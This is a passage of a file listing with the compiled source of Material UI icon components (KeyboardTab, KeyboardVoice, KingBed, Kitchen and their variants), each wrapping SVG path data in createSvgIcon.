    "path": "packages/mui-icons-material/lib/KeyboardTabSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.59 7.41 15.17 11H1v2h14.17l-3.59 3.59L13 18l6-6-6-6zM20 6v12h2V6z\"\n}), 'KeyboardTabSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardTabTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.59 7.41 15.17 11H1v2h14.17l-3.59 3.59L13 18l6-6-6-6zM20 6v12h2V6z\"\n}), 'KeyboardTabTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardTabTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.59 7.41 15.17 11H1v2h14.17l-3.59 3.59L13 18l6-6-6-6zM20 6v12h2V6z\"\n}), 'KeyboardTabTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h16V7H4zm13-9h2v2h-2zm0 3h2v2h-2zm-3-3h2v2h-2zm0 3h2v2h-2zm-3-3h2v2h-2zm0 3h2v2h-2zM8 8h2v2H8zm0 3h2v2H8zm0 3h8v2H8zM5 8h2v2H5zm0 3h2v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5H4c-1.1 0-1.99.9-1.99 2L2 17c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H4V7h16zm-9-9h2v2h-2zm0 3h2v2h-2zM8 8h2v2H8zm0 3h2v2H8zm-3 0h2v2H5zm0-3h2v2H5zm3 6h8v2H8zm6-3h2v2h-2zm0-3h2v2h-2zm3 3h2v2h-2zm0-3h2v2h-2z\"\n}, \"1\")], 'KeyboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h16V7H4zm13-9h2v2h-2zm0 3h2v2h-2zm-3-3h2v2h-2zm0 3h2v2h-2zm-3-3h2v2h-2zm0 3h2v2h-2zM8 8h2v2H8zm0 3h2v2H8zm0 3h8v2H8zM5 8h2v2H5zm0 3h2v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5H4c-1.1 0-1.99.9-1.99 2L2 17c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H4V7h16zm-9-9h2v2h-2zm0 3h2v2h-2zM8 8h2v2H8zm0 3h2v2H8zm-3 0h2v2H5zm0-3h2v2H5zm3 6h8v2H8zm6-3h2v2h-2zm0-3h2v2h-2zm3 3h2v2h-2zm0-3h2v2h-2z\"\n}, \"1\")], 'KeyboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoice.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m5.3-3c0 3-2.54 5.1-5.3 5.1S6.7 15 6.7 12H5c0 3.42 2.72 6.23 6 6.72V22h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'KeyboardVoice');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoice.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m5.3-3c0 3-2.54 5.1-5.3 5.1S6.7 15 6.7 12H5c0 3.42 2.72 6.23 6 6.72V22h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'KeyboardVoice');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoiceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m-1.2-9.1c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 6.2c0 .66-.53 1.2-1.19 1.2s-1.2-.54-1.2-1.2zm6.5 6.1c0 3-2.54 5.1-5.3 5.1S6.7 15 6.7 12H5c0 3.41 2.72 6.23 6 6.72V22h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'KeyboardVoiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoiceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m-1.2-9.1c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 6.2c0 .66-.53 1.2-1.19 1.2s-1.2-.54-1.2-1.2zm6.5 6.1c0 3-2.54 5.1-5.3 5.1S6.7 15 6.7 12H5c0 3.41 2.72 6.23 6 6.72V22h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'KeyboardVoiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoiceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m6.08-3c-.42 0-.77.3-.83.71-.37 2.61-2.72 4.39-5.25 4.39s-4.88-1.77-5.25-4.39c-.06-.41-.42-.71-.83-.71-.52 0-.92.46-.85.97.46 2.97 2.96 5.3 5.93 5.75V21c0 .55.45 1 1 1s1-.45 1-1v-2.28c2.96-.43 5.47-2.78 5.93-5.75.07-.51-.33-.97-.85-.97\"\n}), 'KeyboardVoiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoiceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m6.08-3c-.42 0-.77.3-.83.71-.37 2.61-2.72 4.39-5.25 4.39s-4.88-1.77-5.25-4.39c-.06-.41-.42-.71-.83-.71-.52 0-.92.46-.85.97.46 2.97 2.96 5.3 5.93 5.75V21c0 .55.45 1 1 1s1-.45 1-1v-2.28c2.96-.43 5.47-2.78 5.93-5.75.07-.51-.33-.97-.85-.97\"\n}), 'KeyboardVoiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoiceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m5.3-3c0 3-2.54 5.1-5.3 5.1S6.7 15 6.7 12H5c0 3.42 2.72 6.23 6 6.72V22h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'KeyboardVoiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoiceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m5.3-3c0 3-2.54 5.1-5.3 5.1S6.7 15 6.7 12H5c0 3.42 2.72 6.23 6 6.72V22h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'KeyboardVoiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoiceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13.3c.66 0 1.19-.54 1.19-1.2l.01-6.2c0-.66-.54-1.2-1.2-1.2s-1.2.54-1.2 1.2v6.2c0 .66.54 1.2 1.2 1.2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m-1.2-9.1c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 6.2c0 .66-.53 1.2-1.19 1.2s-1.2-.54-1.2-1.2zm6.5 6.1c0 3-2.54 5.1-5.3 5.1S6.7 15 6.7 12H5c0 3.41 2.72 6.23 6 6.72V22h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}, \"1\")], 'KeyboardVoiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardVoiceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13.3c.66 0 1.19-.54 1.19-1.2l.01-6.2c0-.66-.54-1.2-1.2-1.2s-1.2.54-1.2 1.2v6.2c0 .66.54 1.2 1.2 1.2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c1.66 0 2.99-1.34 2.99-3L15 6c0-1.66-1.34-3-3-3S9 4.34 9 6v6c0 1.66 1.34 3 3 3m-1.2-9.1c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 6.2c0 .66-.53 1.2-1.19 1.2s-1.2-.54-1.2-1.2zm6.5 6.1c0 3-2.54 5.1-5.3 5.1S6.7 15 6.7 12H5c0 3.41 2.72 6.23 6 6.72V22h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}, \"1\")], 'KeyboardVoiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V7c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L4 19h1l.67-2h12.67l.66 2h1l.67-2H22v-5c0-1.1-.9-2-2-2m-9 0H6V7h5zm7 0h-5V7h5z\"\n}), 'KingBed');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V7c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L4 19h1l.67-2h12.67l.66 2h1l.67-2H22v-5c0-1.1-.9-2-2-2m-9 0H6V7h5zm7 0h-5V7h5z\"\n}), 'KingBed');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-1.1-.9-2-2-2V7c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L4 19h1l.67-2h12.67l.66 2h1l.67-2H22zm-4-2h-5V7h5zM6 7h5v3H6zm-2 5h16v3H4z\"\n}), 'KingBedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-1.1-.9-2-2-2V7c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L4 19h1l.67-2h12.67l.66 2h1l.67-2H22zm-4-2h-5V7h5zM6 7h5v3H6zm-2 5h16v3H4z\"\n}), 'KingBedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V7c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33l.51 1.53c.1.28.36.47.66.47s.56-.19.66-.47L5.67 17h12.67l.51 1.53c.09.28.35.47.65.47s.56-.19.66-.47l.51-1.53H22v-5c0-1.1-.9-2-2-2m-9 0H6V8c0-.55.45-1 1-1h4zm7 0h-5V7h4c.55 0 1 .45 1 1z\"\n}), 'KingBedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V7c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33l.51 1.53c.1.28.36.47.66.47s.56-.19.66-.47L5.67 17h12.67l.51 1.53c.09.28.35.47.65.47s.56-.19.66-.47l.51-1.53H22v-5c0-1.1-.9-2-2-2m-9 0H6V8c0-.55.45-1 1-1h4zm7 0h-5V7h4c.55 0 1 .45 1 1z\"\n}), 'KingBedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V5H4v5H2v7h1.33L4 19h1l.67-2h12.67l.66 2h1l.67-2H22v-7zm-9 0H6V7h5zm7 0h-5V7h5z\"\n}), 'KingBedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V5H4v5H2v7h1.33L4 19h1l.67-2h12.67l.66 2h1l.67-2H22v-7zm-9 0H6V7h5zm7 0h-5V7h5z\"\n}), 'KingBedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12h16v3H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V7c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L4 19h1l.67-2h12.67l.66 2h1l.67-2H22v-5c0-1.1-.9-2-2-2m-7-3h5v3h-5zM6 7h5v3H6zm14 8H4v-3h16z\"\n}, \"1\")], 'KingBedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KingBedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12h16v3H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V7c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L4 19h1l.67-2h12.67l.66 2h1l.67-2H22v-5c0-1.1-.9-2-2-2m-7-3h5v3h-5zM6 7h5v3H6zm14 8H4v-3h16z\"\n}, \"1\")], 'KingBedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Kitchen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v5zM8 5h2v3H8zm-4 6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9zm6 6H8v-5h2z\"\n}), 'Kitchen');"
  },
  {
    "path": "packages/mui-icons-material/lib/Kitchen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v5zM8 5h2v3H8zm-4 6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9zm6 6H8v-5h2z\"\n}), 'Kitchen');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitchenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 5h2v3H8zm0 7h2v5H8zm10-9.99L6 2a2 2 0 0 0-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.11-.9-1.99-2-1.99M18 20H6v-9.02h12zm0-11H6V4h12z\"\n}), 'KitchenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitchenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 5h2v3H8zm0 7h2v5H8zm10-9.99L6 2a2 2 0 0 0-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.11-.9-1.99-2-1.99M18 20H6v-9.02h12zm0-11H6V4h12z\"\n}), 'KitchenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitchenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2.01 6 2a2 2 0 0 0-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.11-.9-1.99-2-1.99M17 20H7c-.55 0-1-.45-1-1v-7.02c0-.55.45-1 1-1h10c.55 0 1 .45 1 1V19c0 .55-.45 1-1 1m0-11H7c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1M9 5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 1-1m0 7c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1s-1-.45-1-1v-3c0-.55.45-1 1-1\"\n}), 'KitchenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitchenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2.01 6 2a2 2 0 0 0-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.11-.9-1.99-2-1.99M17 20H7c-.55 0-1-.45-1-1v-7.02c0-.55.45-1 1-1h10c.55 0 1 .45 1 1V19c0 .55-.45 1-1 1m0-11H7c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1M9 5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 1-1m0 7c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1s-1-.45-1-1v-3c0-.55.45-1 1-1\"\n}), 'KitchenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitchenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2.01 4 2v20h16zM18 20H6v-9.02h12zm0-11H6V4h12zM8 5h2v3H8zm0 7h2v5H8z\"\n}), 'KitchenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitchenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2.01 4 2v20h16zM18 20H6v-9.02h12zm0-11H6V4h12zM8 5h2v3H8zm0 7h2v5H8z\"\n}), 'KitchenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitchenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 5h2v3H8zm0 7h2v5H8zm-2 8h12v-9.02H6zm2-8h2v5H8zM6 9h12V4H6zm2-4h2v3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2.01 6 2a2 2 0 0 0-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.11-.9-1.99-2-1.99M18 20H6v-9.02h12zm0-11H6V4h12zM8 5h2v3H8zm0 7h2v5H8z\"\n}, \"1\")], 'KitchenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitchenTwoTone.mjs",
